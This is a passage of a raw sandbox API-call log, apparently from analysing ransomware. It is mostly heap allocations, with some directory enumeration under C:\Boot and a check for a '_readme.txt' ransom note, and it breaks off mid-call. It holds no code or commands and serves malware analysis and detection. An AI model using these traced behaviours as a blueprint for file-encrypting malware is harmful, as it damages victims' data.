RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.644] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0059.644] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.644] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.644] PathFindFileNameW (pszPath="") returned="" [0059.645] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.645] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.645] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.645] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.645] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0059.645] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0059.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.645] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.645] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.646] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.646] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0059.646] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.646] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c6e8f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.646] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned=".txt" [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.646] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c6e8f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.646] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.646] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.646] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.649] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.649] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.649] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.649] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 